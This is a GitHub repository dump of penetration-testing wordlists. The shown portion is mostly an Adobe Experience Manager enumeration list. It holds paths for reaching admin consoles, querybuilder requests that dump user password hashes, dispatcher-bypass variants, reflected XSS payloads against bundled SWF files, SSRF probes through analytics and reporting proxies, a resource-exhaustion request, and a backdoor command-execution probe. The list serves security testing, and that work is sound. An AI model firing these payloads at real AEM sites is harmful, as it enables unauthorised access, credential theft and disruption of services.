Repository: ZephrFish/Wordlists Branch: main Commit: 9a7e70f41972 Files: 15 Total size: 1.4 MB Directory structure: gitextract__mrrsg_5/ ├── .github/ │ └── CODEOWNERS ├── AEM-Enum.txt ├── BlindXSS-ZephrFish.txt ├── CODEOWNERS ├── Generic-XSS-Vectors.txt ├── Oracle-PeopleSoft-Dirs.txt ├── Oracle-PeopleSoft-Fuzz.txt ├── OracleDefaultPasswords.xls ├── OraclePasswords.txt ├── OracleUsers.txt ├── README.md ├── Recon_SmallWins.txt ├── SSRF-VarNames-Lower.txt ├── SSRF-VarNames-Upper.txt └── eBiz.txt ================================================ FILE CONTENTS ================================================ ================================================ FILE: .github/CODEOWNERS ================================================ * @zephrfish ================================================ FILE: AEM-Enum.txt ================================================ ///bin///wcm///search///gql.json?query=type:base%20limit:..1&pathPrefix= /security/.5..json?debug=layout /online/.-1..json /bin/querybuilder.json.css?path=/home/&p.limit=8 /bin/querybuilder.json?path=/libs/ /bin/querybuilder.json?path=/content /bin/querybuilder.json?path=/content/test/test/en_nz/security/ /bin/querybuilder.json?path=/crx/&p.hits=full&p.limit=50 /bin/querybuilder.json?path=/home&p.hits=full&p.limit=-1 /bin/querybuilder.json?fulltext=admin&p.limit=30 /bin/querybuilder.json?fulltext=password&p.limit=1000 /content/usergenerated/ /security/.4.2.1...css /content.tidy.-1.a.json / /{0}.1.json /a.css /apps/test /bin/acs-tools/qe/predicates.json /bin/crxde/logs{0}?tail=100 /bin/groovyconsole/audit.servlet /bin/groovyconsole/post.servlet /bin/msm/audit ///bin///querybuilder.feed /bin/querybuilder.feed ///bin///querybuilder.json /bin/querybuilder.json /bin/wcm/contentfinder/connector/suggestions ///bin///wcm///search///gql.json;%0aa.css?query=type:base%20limit:..1&pathPrefix= /bin/wcm/search/gql.json;%0aa.css?query=type:base%20limit:..1&pathPrefix= ///bin///wcm///search///gql.json;%0aa.html?query=type:base%20limit:..1&pathPrefix= /bin/wcm/search/gql.json;%0aa.html?query=type:base%20limit:..1&pathPrefix= ///bin///wcm///search///gql.json;%0aa.ico?query=type:base%20limit:..1&pathPrefix= /bin/wcm/search/gql.json;%0aa.ico?query=type:base%20limit:..1&pathPrefix= ///bin///wcm///search///gql.json;%0aa.js?query=type:base%20limit:..1&pathPrefix= /bin/wcm/search/gql.json;%0aa.js?query=type:base%20limit:..1&pathPrefix= ///bin///wcm///search///gql.json;%0aa.png?query=type:base%20limit:..1&pathPrefix= /bin/wcm/search/gql.json;%0aa.png?query=type:base%20limit:..1&pathPrefix= ///bin///wcm///search///gql.json///a.1.json?query=type:base%20limit:..1&pathPrefix= /bin/wcm/search/gql.json/a.1.json?query=type:base%20limit:..1&pathPrefix= ///bin///wcm///search///gql.json///a.4.2.1...json?query=type:base%20limit:..1&pathPrefix= /bin/wcm/search/gql.json/a.4.2.1...json?query=type:base%20limit:..1&pathPrefix= ///bin///wcm///search///gql.json///a.css?query=type:base%20limit:..1&pathPrefix= /bin/wcm/search/gql.json/a.css?query=type:base%20limit:..1&pathPrefix= ///bin///wcm///search///gql.json///a.html?query=type:base%20limit:..1&pathPrefix= /bin/wcm/search/gql.json/a.html?query=type:base%20limit:..1&pathPrefix= ///bin///wcm///search///gql.json///a.ico?query=type:base%20limit:..1&pathPrefix= /bin/wcm/search/gql.json/a.ico?query=type:base%20limit:..1&pathPrefix= ///bin///wcm///search///gql.json///a.js?query=type:base%20limit:..1&pathPrefix= /bin/wcm/search/gql.json/a.js?query=type:base%20limit:..1&pathPrefix= ///bin///wcm///search///gql.json///a.png?query=type:base%20limit:..1&pathPrefix= /bin/wcm/search/gql.json/a.png?query=type:base%20limit:..1&pathPrefix= ///bin///wcm///search///gql.json?query=type:base%20limit:..1&pathPrefix= /bin/wcm/search/gql.json?query=type:base%20limit:..1&pathPrefix= ///bin///wcm///search///gql.servlet.json?query=type:base%20limit:..1&pathPrefix= /bin/wcm/search/gql.servlet.json?query=type:base%20limit:..1&pathPrefix= /content/test /content/usergenerated/etc/commerce/smartlists/test /crx/de/index.jsp CRXDE Lite/CRX /crx/explorer/browser/index.jsp /crx/explorer/ui/namespace_editor.jsp /crx/explorer/ui/search.jsp /crx/packmgr/index.jsp /crx/repository/test.sh /etc /etc/acs-tools/aem-fiddle/_jcr_content.run.html /etc/clientlibs/foundation/shared/endorsed/swf/slideshow.swf?contentPath=%5c"))%7dcatch(e)%7balert(document.domain)%7d// /etc/clientlibs/foundation/shared/endorsed/swf/slideshow.swf.res?contentPath=%5c"))%7dcatch(e)%7balert(document.domain)%7d// /etc/clientlibs/foundation/video/swf/player_flv_maxi.swf?onclick=javascript:confirm(document.domain) /etc/clientlibs/foundation/video/swf/player_flv_maxi.swf.res?onclick=javascript:confirm(document.domain) /etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf?javascriptCallbackFunction=alert(document.domain)-String /etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf.res?javascriptCallbackFunction=alert(document.domain)-String /etc/dam/viewers/s7sdk/2.11/flash/VideoPlayer.swf.res?stagesize=1&namespacePrefix=alert(document.domain)-window /etc/dam/viewers/s7sdk/2.11/flash/VideoPlayer.swf?stagesize=1&namespacePrefix=alert(document.domain)-window /etc/dam/viewers/s7sdk/2.9/flash/VideoPlayer.swf?loglevel=,firebug&movie=%5c%22));if(!self.x)self.x=!alert(document.domain)%7dcatch(e)%7b%7d// /etc/dam/viewers/s7sdk/2.9/flash/VideoPlayer.swf.res?loglevel=,firebug&movie=%5c%22));if(!self.x)self.x=!alert(document.domain)%7dcatch(e)%7b%7d// /etc/dam/viewers/s7sdk/3.2/flash/VideoPlayer.swf.res?stagesize=1&namespacePrefix=window[/aler/.source%2b/t/.source](document.domain)-window /etc/dam/viewers/s7sdk/3.2/flash/VideoPlayer.swf?stagesize=1&namespacePrefix=window[/aler/.source%2b/t/.source](document.domain)-window /etc/groovyconsole/jcr:content.html /etc/reports/diskusage.html /.html/{0}.1.json /.json/{0}.png /.json/a.gif /.json/a.html /.json/a.png ///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet;%0a{0}.css?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet;%0a{0}.css?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet;%0a{0}.html?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet;%0a{0}.html?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet;%0a{0}.js?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet;%0a{0}.js?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet;%0a{0}.png?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet;%0a{0}.png?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet///{0}.bmp?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet/{0}.bmp?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet.{0}.css?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet///{0}.css?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.{0}.css?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet/{0}.css?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet.{0}.gif?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.{0}.gif?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet.{0}.html?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet///{0}.html?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.{0}.html?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet/{0}.html?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet.{0}.js?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet///{0}.js?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.{0}.js?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet/{0}.js?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet.{0}.png?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet///{0}.png?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.{0}.png?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet/{0}.png?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet.1.json?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.1.json?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet.4.2.1...json?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.4.2.1...json?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///components///sitecatalystpage///segments.json.servlet.html?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.html?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json;%0a{0}.css?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json;%0a{0}.css?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json;%0a{0}.html?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json;%0a{0}.html?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json;%0a{0}.js?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json;%0a{0}.js?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json;%0a{0}.png?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json;%0a{0}.png?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json///{0}.css?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/{0}.css?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json///{0}.html?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/{0}.html?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json///{0}.ico?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/{0}.ico?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json///{0}.js?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/{0}.js?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json///{0}.png?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/{0}.png?datacenter={{0}}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json/a.1.json?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.1.json?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json/a.4.2.1...json?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.4.2.1...json?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json/a.html?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///analytics///templates///sitecatalyst///jcr:content.segments.json?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json?datacenter={0}%23&company=xxx&username=zzz&secret=yyyy ///libs///cq///cloudservicesprovisioning///content///autoprovisioning /libs/cq/cloudservicesprovisioning/content/autoprovisioning /libs/cq/contentinsight/content/proxy.reportingservices.1.json?url={0}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/content/proxy.reportingservices.4.2.1...json?url={0}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/content/proxy.reportingservices.json;%0a{0}.bmp?url={{0}}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///content///proxy.reportingservices.json;%0a{0}.css?url={{0}}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/content/proxy.reportingservices.json;%0a{0}.css?url={{0}}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///content///proxy.reportingservices.json;%0a{0}.html?url={{0}}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/content/proxy.reportingservices.json;%0a{0}.html?url={{0}}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///content///proxy.reportingservices.json;%0a{0}.ico?url={{0}}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///content///proxy.reportingservices.json;%0a{0}.js?url={{0}}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/content/proxy.reportingservices.json;%0a{0}.js?url={{0}}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///content///proxy.reportingservices.json;%0a{0}.png?url={{0}}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/content/proxy.reportingservices.json;%0a{0}.png?url={{0}}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///content///proxy.reportingservices.json/{0}.css?url={{0}}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/content/proxy.reportingservices.json/{0}.css?url={{0}}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///content///proxy.reportingservices.json/{0}.html?url={{0}}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/content/proxy.reportingservices.json/{0}.html?url={{0}}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///content///proxy.reportingservices.json/{0}.ico?url={{0}}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/content/proxy.reportingservices.json/{0}.ico?url={{0}}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///content///proxy.reportingservices.json/{0}.js?url={{0}}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/content/proxy.reportingservices.json/{0}.js?url={{0}}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///content///proxy.reportingservices.json/{0}.png?url={{0}}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/content/proxy.reportingservices.json/{0}.png?url={{0}}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/content/proxy.reportingservices.json?url={0}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///proxy///reportingservices.1.json?url={0}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///proxy///reportingservices.4.2.1...json?url={0}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet;%0a{0}.css?url={{0}}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet;%0a{0}.css?url={{0}}%23/blog.zsec.uk/a&q=a ///libs///cq/contentinsight///proxy///reportingservices.json.GET.servlet;%0a{0}.gif?url={{0}}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet;%0a{0}.gif?url={{0}}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet;%0a{0}.html?url={{0}}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet;%0a{0}.html?url={{0}}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet;%0a{0}.js?url={{0}}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet;%0a{0}.js?url={{0}}%23/blog.zsec.uk/a&q=a ///libs///cq/contentinsight///proxy///reportingservices.json.GET.servlet;%0a{0}.png?url={{0}}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet;%0a{0}.png?url={{0}}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet.{0}.bmp?url={{0}}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.{0}.bmp?url={{0}}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet.{0}.css?url={{0}}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.{0}.css?url={{0}}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet.{0}.html?url={{0}}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.{0}.html?url={{0}}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet.{0}.ico?url={{0}}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.{0}.ico?url={{0}}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet.{0}.js?url={{0}}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.{0}.js?url={{0}}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet.{0}.png?url={{0}}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.{0}.png?url={{0}}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet.1.json?url={0}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.1.json?url={0}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet.4.2.1...json?url={0}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.4.2.1...json?url={0}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet.json?url={0}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.json?url={0}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///proxy///reportingservices.json.GET.servlet?url={0}%23/blog.zsec.uk/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet?url={0}%23/blog.zsec.uk/a&q=a ///libs///cq///contentinsight///proxy///reportingservices.json?url={0}%23/blog.zsec.uk/a&q=a /libs/cq/security/userinfo /libs/cq/ui/resources/swfupload/swfupload.swf?movieName=%22])%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d// /libs/cq/ui/resources/swfupload/swfupload.swf.res?movieName=%22])%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d// /libs/dam/cloud/proxy /admin /system/console /dav/crx.default /crx /bin/crxde/logs /jcr:system/jcr:versionStorage.json /_jcr_system/_jcr_versionStorage.json /libs/wcm/core/content/siteadmin.html /libs/collab/core/content/admin.html /libs/cq/ui/content/dumplibs.html /var/linkchecker.html /etc/linkchecker.html /home/users/a/admin/profile.json /home/users/a/admin/profile.xml /libs/cq/core/content/login.json /content/../libs/foundation/components/text/text.jsp /content/.{.}/libs/foundation/components/text/text.jsp /apps/sling/config/org.apache.felix.webconsole.internal.servlet.OsgiManager.config/jcr%3acontent/jcr%3adata /libs/foundation/components/primary/cq/workflow/components/participants/json.GET.servlet /content.pages.json /content.languages.json /content.blueprint.json /content.-1.json /content.10.json /content.infinity.json /content.tidy.json /content.tidy.-1.blubber.json /content/dam.tidy.-100.json /content/content/geometrixx.sitemap.txt /content/add_valid_page.query.json?statement=//* /content/add_valid_page.qu%65ry.js%6Fn?statement=//* /content/add_valid_page.query.json?statement=//* #/(@transportPassword%20|%20@transportUri%20|%20@transportUser) /content/add_valid_path_to_a_page/_jcr_content.json /content/add_valid_path_to_a_page/jcr:content.json /content/add_valid_path_to_a_page/_jcr_content.feed /content/add_valid_path_to_a_page/jcr:content.feed /content/add_valid_path_to_a_page/pagename._jcr_content.feed /content/add_valid_path_to_a_page/pagename.jcr:content.feed /content/add_valid_path_to_a_page/pagename.docview.xml /content/add_valid_path_to_a_page/pagename.docview.json /content/add_valid_path_to_a_page/pagename.sysview.xml /etc.xml /content.feed.xml /content.rss.xml /content.feed.html /content/add_valid_page.html?debug=layout /projects /libs/granite/core/content/login.html /libs/cq/core/content/login.html /crx/explorer/index.jsp /crx/packmgr/index.jsp /bin/querybuilder.json?type=rep:User&p.hits=selective&p.properties=rep:principalName%20rep:password&p.limit=100 /.json /.1.json /.tidy.6.json /.tidy.infinity.json /bin.tidy.infinity.json /bin/querybuilder.json /apps.tidy.infinity.json /var/classes.tidy.infinity.json /content.json /content.1.json /content.infinity.json /content.childrenlist.json /content.ext.json /content.xml /content.1.xml /content.feed.xml /composer.json /libs/cq/core/content/welcome.html /siteadmin /damadmin /libs/cq/workflow/content/inbox.html /crx/explorer/ui/search.jsp?Path=&Query= /libs/cq/search/content/querydebug.html /etc/clientcontext/default/content.html /libs/cq/i18n/translator.html /miscadmin /libs/granite/backup/content/admin.html /miscadmin#/etc/mobile /miscadmin#/etc/blueprints /miscadmin#/etc/designs /libs/cq/tagging/content/tagadmin.html /miscadmin#/etc/segmentation /miscadmin#/etc/msm/rolloutconfigs /damadmin#/content/dam /miscadmin#/etc/importers /etc/cloudservices.html /crx/packmgr/index.jsp /crx/packageshare /crx/de /system/console/profiler /system/console/diskbenchmark /libs/cq/workflow/content/console.html /libs/cq/workflow/content/inbox.html /etc/replication.html /etc/replication/treeactivation.html /etc/replication/agents.author.html /etc/replication/agents.publish.html /etc/replication/agents.publish/flush.html /libs/cq/ui/content/dumplibs.html /etc/reports/auditreport.html /etc/reports/diskusage.html /etc/reports/diskusage.html?path=/content/dam /etc/reports/userreport.html /crx/explorer/browser/index.jsp /crx/explorer/nodetypes/index.jsp /system/console/jmx/com.adobe.granite%3Atype%3DRepository /libs/granite/cluster/content/admin.html /system/console /system/console?.css /system/console/configMgr /system/console/jmx/java.lang%3Atype%3DRuntime /system/console/memoryusage /system/console/vmstat /system/console/productinfo /system/console/profiler /system/console/diskbenchmark /libs/granite/backup/content/admin.html /system/console/mimetypes /system/console/licenses /system/admin /lc/content/ws /workspace /ReaderExtensions /mobileformsivs /lc/crx/packmgr/index.jsp /lc/cm/ /adminui /lc/system/console /system/sling.js /system/sling/info.sessionInfo.json /system/sling/info.sessionInfo.txt /jcr:content.json /.infinity.json /.xml /.1.xml /.feed.xml /apps.json /apps.1.json /apps.feed.xml /bin.json /bin.1.json /bin.infinity.json /bin.childrenlist.json /bin.ext.json /bin.xml /bin.1.xml /bin.feed.xml /etc.json /etc.1.json /etc.infinity.json /etc.childrenlist.json /etc/cloudsettings.-1.json /etc.xml /etc.1.xml /etc.feed.xml /home.json /home.1.json /home.infinity.json /home.xml /home.1.xml /home.feed.xml /libs.json /libs.1.json /libs.infinity.json /libs.xml /libs.1.xml /libs.feed.xml /var.json /var.1.json /var.infinity.json /var.xml /var.1.xml /var.feed.xml /var/classes.json /var/classes.1.json /var/classes.infinity.json /var/classes.xml /var/classes.1.xml /var/classes.feed.xml /system/sling/cqform/defaultlogin.html /crx/de/index.jsp /etc/packages /content/geometrixx /content/geometrixx-outdoors/en.html /bin/querybuilder.json/a.css /bin/querybuilder.json/a.html /bin/querybuilder.json/a.ico /bin/querybuilder.json/a.png /bin/querybuilder.json;%0aa.css /bin/querybuilder.json/a.1.json /system/sling/loginstatus.json /system/sling/loginstatus.css /system/sling/loginstatus.png /system/sling/loginstatus.gif /system/sling/loginstatus.html /system/sling/loginstatus.json/a.1.json /system/sling/loginstatus.json;%0aa.css /system/bgservlets/test.json /system/bgservlets/test.css /system/bgservlets/test.png /system/bgservlets/test.gif /system/bgservlets/test.html /system/bgservlets/test.json/a.1.json /system/bgservlets/test.json;%0aa.css ///bin///querybuilder.json ///bin///querybuilder.json.servlet ///bin///querybuilder.json/a.css ///bin///querybuilder.json.servlet/a.css ///bin///querybuilder.json/a.ico ///bin///querybuilder.json.servlet/a.ico ///bin///querybuilder.json;%0aa.css ///bin///querybuilder.json.servlet;%0aa.css ///bin///querybuilder.json/a.1.json ///bin///querybuilder.json.servlet/a.1.json ///bin///querybuilder.json.css ///bin///querybuilder.json.ico ///bin///querybuilder.json.html ///bin///querybuilder.json.png ///bin///querybuilder.feed.servlet ///bin///querybuilder.feed.servlet/a.css ///bin///querybuilder.feed.servlet/a.ico ///bin///querybuilder.feed.servlet;%0aa.css ///bin///querybuilder.feed.servlet/a.1.json ///bin///wcm/search/gql.servlet.json ///bin///wcm/search/gql.json ///bin///wcm/search/gql.json/a.1.json ///bin///wcm/search/gql.json;%0aa.css ///bin///wcm/search/gql.json/a.css ///bin///wcm/search/gql.json/a.ico ///bin///wcm/search/gql.json/a.png ///bin///wcm/search/gql.json/a.html ///system///sling/loginstatus.json ///system///sling/loginstatus.json/a.css ///system///sling/loginstatus.json/a.ico ////system///sling/loginstatus.json;%0aa.css ///system///sling/loginstatus.json/a.1.json ///system///sling/loginstatus.css ///system///sling/loginstatus.ico ///system///sling/loginstatus.png ///system///sling/loginstatus.html /libs/cq/contentinsight/content/proxy.reportingservices.json /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet /libs/mcm/salesforce/customer.json /libs/mcm/salesforce/customer.json?checkType=authorize&authorization_url=http://0.0.0.0&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.css /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.html /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.ico /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.png /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.gif /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.1.json /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json;%0aa.css /bin/wcm/contentfinder/connector/suggestions.json/a.html?query_term=path%3a/&pre=%3Csvg+onload%3dalert(document.domain)%3E&post=yyyy /.ext.json /.ext.infinity.json /.ext.infinity.json?tidy=true /bin/querybuilder.json?type=nt:base&p.limit=-1 /bin/wcm/search/gql.servlet.json?query=type:base%20limit:..-1&pathPrefix= /content.assetsearch.json?query=*&start=0&limit=10&random=123 /..assetsearch.json?query=*&start=0&limit=10&random=123 /system/bgservlets/test.json?cycles=999999&interval=0&flushEvery=111111111 /content.ext.infinity.1..json?tidy=true /libs/dam/cloud/proxy.json /crx/repository/test /.childrenlist.json /content/usergenerated/etc/commerce/smartlists /bin/backdoor.html?cmd=ifconfig /libs/opensocial/proxy?.css 